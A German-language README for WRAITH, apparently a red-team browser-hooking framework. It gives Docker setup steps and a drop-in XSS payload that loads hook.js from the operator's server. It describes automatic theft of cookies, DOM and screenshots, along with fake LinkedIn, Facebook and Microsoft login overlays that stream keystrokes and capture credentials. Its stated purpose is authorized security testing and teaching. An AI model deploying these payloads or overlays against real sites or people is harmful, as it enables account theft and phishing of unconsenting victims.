
Browser-Hooking-Framework für autorisierte Red Teams und Lehrende. Hookt Browser über XSS, bietet interaktive Post-Exploitation-Kontrolle, Blind-XSS-Beuteerfassung, Social-Engineering-Overlays und ein Übungslabor.
Ein modernes, eigenständiges Browser-Hooking-Framework für Red Teams, Sicherheitsforscher und Lehrende — ein Clean-Room-Nachfolger von BeEF und den Blind-XSS-Callback-Tools, mit denen wir leben.
NUR FÜR AUTORISIERTE SICHERHEITSTESTS, FORSCHUNG & BILDUNG. WRAITH ist ein Offensiv-Sicherheitstool zur Demonstration und zum Testen von Phishing- / Man-in-the-Browser- / Blind-XSS-Taktiken. Verwenden Sie es nur gegen Systeme und Personen, für die Sie ausdrücklich autorisiert sind. Sie sind für die Art der Nutzung selbst verantwortlich.

Im Laufe unserer Arbeit bei Arcanum griffen wir immer wieder auf zwei verschiedene Arten von Werkzeugen zurück und wünschten uns, sie wären eine Sache.
Auf der einen Seite war BeEF — das Browser Exploitation Framework — für den klassischen Browser hooken und dann von innerhalb seiner Sitzung aus arbeiten- Workflow: einen Fake-Login keyloggen, das lokale Netzwerk auskundschaften, ein Modul auf ein Live-Opfer schieben. Es ist das Tool, mit dem wir Man-in-the-Browser für Menschen real gemacht haben. Aber es zeigt sein Alter, große Teile davon sind in heutigen Browsern unzuverlässig, und die Social-Engineering-Overlays sehen aus wie Logins von vor einem Jahrzehnt.
Auf der anderen Seite waren unsere bevorzugten Blind-XSS-Callback-Frameworks (XSS Hunter, ezXSS): eine Payload in ein Feld werfen, und in dem Moment, in dem sie irgendwo feuert, wo man sie nicht sehen kann, meldet sie sich mit der Beute zu Hause — Origin, Cookies, DOM, ein Screenshot.
Was wir zunehmend brauchten — besonders als mehr unserer Ziele zu KI- Anwendungsökosystemen wurden, in denen nicht vertrauenswürdiger Text durch Agenten, Tool-Ausgaben, Admin-Review-Warteschlangen und Support-Konsolen fließt und JavaScript an Orten auslöst, die niemand beobachtet — war ein einziges Framework, das beides konnte: die interaktive, persistente Post-Exploitation-Kontrolle eines BeEF-Hooks und die Fire-and-Forget-Blind-XSS-Callback-Beute, in einer Payload, die in aktuellen Browsern zuverlässig ist und wie heutige echte Login-Bildschirme aussieht.
Also haben wir WRAITH gebaut.
Wir veröffentlichen WRAITH früh und mit Absicht. Wir geben es lieber in die Hände der Leute, die es tatsächlich nutzen werden — und hören, was kaputt geht — als darauf zu sitzen, bis es „fertig" ist.
Das bedeutet: Erwarten Sie raue Kanten und Fehler. Einige Module sind stärker kampferprobt als andere, das Browser-Verhalten verschiebt sich ständig unter uns (siehe die Hinweise zum Netzwerk-Scan unten), und APIs können sich zwischen Versionen ändern. Wenn Sie auf etwas stoßen, eröffnen Sie bitte ein Issue — Reproduktionsschritte, Browser + Version und was Sie erwartet haben, sind Gold wert. Pull Requests sind unter den Beitragsbedingungen des Projekts willkommen.
Der schnellste Weg. Sie benötigen Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh führt Sie durch alles:
.env
(chmod 600) und baut + startet den Container. Operator-Konsole : http://YOUR_IP:8090/operator/
Login-Seite : http://YOUR_IP:8090/login (Benutzer "operator")
Demo-Opfer-Seite : http://YOUR_IP:8090/demo/
Hook-Payload : http://YOUR_IP:8090/hook.js
Drop-in-XSS-Payload:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Verwalten Sie es mit Standard-Compose-Befehlen:
docker compose logs -f # beobachten
docker compose down # stoppen (behält ./data)
./setup.sh # neu konfigurieren (Passwort rotieren, Adresse ändern, …)
Erfasste Sitzungen bleiben in ./data/ auf dem Host erhalten — niemals in das
Image eingebacken, niemals committet (.env und data/ sind gitignored).
Die Operator-Konsole ist login-geschützt, wann immer ein Operator-Passwort gesetzt ist, mit einer Benutzername- + Passwort-Anmeldung:

npm install
npm start
Öffnen Sie dann die Operator-Konsole unter http://127.0.0.1:3000/operator/ und die Demo-Opfer-Seite unter http://127.0.0.1:3000/demo/ (in einem zweiten Browser/Profil). Auf localhost ist die Anmeldung standardmäßig aus Bequemlichkeit deaktiviert — der Server weigert sich, ohne ein Operator-Passwort an eine öffentliche Schnittstelle zu binden, sodass Sie nicht versehentlich ein offenes Panel exponieren können.
/hook.js ist eine kleine Payload. Platzieren Sie sie auf jeder Seite, die Sie
kontrollieren (<script src="/hook.js"></script>), oder liefern Sie sie über eine
XSS in Ihrem Ziel aus. Der Browser, der sie lädt, öffnet einen WebSocket zurück zum
Operator, identifiziert sich selbst (Browser, OS, IP, Seite, UA), verbindet sich
automatisch neu und übersteht Navigationen. Jeder gehookte Browser erscheint live
in der Konsole, wo Sie einen auswählen und steuern — das vollständige Dashboard ist
der Hero-Shot oben in dieser README: Gehookte-Browser-Liste, Zieldetails,
Bereitstellungssteuerung, Live-Aktivitätsfeed und erfasste Anmeldedaten.
Modernisierte Fake-Login-Overlays, gerendert in einem isolierten Shadow DOM, damit sie auf jeder Host-Seite pixelgenau aussehen und die Seite dahinter wie ein echtes Re-Auth-Modal frost-verwischen. Wird mit LinkedIn, Facebook und Microsoft / Office 365 ausgeliefert (authentische Zwei-Schritt-E-Mail → Passwort).

Jedes Zeichen, das das Ziel in ein Overlay tippt, wird in Echtzeit an die Konsole gestreamt, und die übermittelten Anmeldedaten landen in Erfasste Anmeldedaten — alles wird persistiert, sodass bei Aktualisierung oder Neustart nichts verloren geht.

In dem Moment, in dem ein Browser hookt, löst WRAITH automatisch Page Capture aus: genau das, was ein Blind-XSS-Framework greift, wenn Ihre Payload irgendwo feuert, wo Sie sie nicht sehen können — wo sie gefeuert hat (Origin + URL + Referrer), die Cookies des Opfers (nicht-HttpOnly), das vollständige DOM und einen Screenshot. Fehler werden ehrlich gemeldet, weil sie die Lektion sind: HttpOnly-Cookies erscheinen nie, und CSP oder Cross-Origin-Canvas-Tainting können den Screenshot blockieren.